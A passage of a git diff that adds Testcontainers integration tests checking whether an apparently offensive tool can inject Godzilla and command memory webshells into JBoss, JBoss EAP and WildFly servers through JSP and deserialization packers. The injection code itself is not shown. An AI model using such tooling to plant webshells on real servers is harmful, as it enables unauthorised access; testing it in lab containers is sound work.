+import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Jboss423ContainerTest { + public static final String imageName = "reajason/jboss:4-jdk6"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( +// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java new file mode 100644 index 00000000..27406510 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.integration.jbossas; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Jboss510ContainerTest { + public static final String imageName = "reajason/jboss:5-jdk6"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( +// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java new file mode 100644 index 00000000..f6e9195b --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -0,0 +1,68 @@ +package com.reajason.javaweb.integration.jbossas; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Jboss610ContainerTest { + public static final String imageName = "reajason/jboss:6-jdk7"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java new file mode 100644 index 00000000..52ff0e63 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.integration.jbossas; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Jboss711ContainerTest { + public static final String imageName = "reajason/jboss:7-jdk7"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + /** + * 找不到 Templates 类暂时先不测试反序列化 + */ + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_7, packer); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java new file mode 100644 index 00000000..361e0a05 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -0,0 +1,63 @@ +package com.reajason.javaweb.integration.jbosseap; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class JbossEap6ContainerTest { + public static final String imageName = "reajason/jboss:eap-6-jdk8"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java new file mode 100644 index 00000000..8b49c26c --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -0,0 +1,63 @@ +package com.reajason.javaweb.integration.jbosseap; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class JbossEap7ContainerTest { + public static final String imageName = "reajason/jboss:eap-7-jdk8"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java new file mode 100644 index 00000000..1379ab4e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -0,0 +1,63 @@ +package com.reajason.javaweb.integration.wildfly; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Wildfly18ContainerTest { + public static final String imageName = "jboss/wildfly:18.0.1.Final"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java new file mode 100644 index 00000000..301cb70c --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -0,0 +1,63 @@ +package com.reajason.javaweb.integration.wildfly; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Wildfly23ContainerTest { + public static final String imageName = "jboss/wildfly:23.0.2.Final"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java new file mode 100644 index 00000000..0e8397a4 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.integration.wildfly; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * Wildfly - DockerHub + * Wildfly - Quay + * + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Wildfly9ContainerTest { + public static final String imageName = "jboss/wildfly:9.0.1.Final"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } +}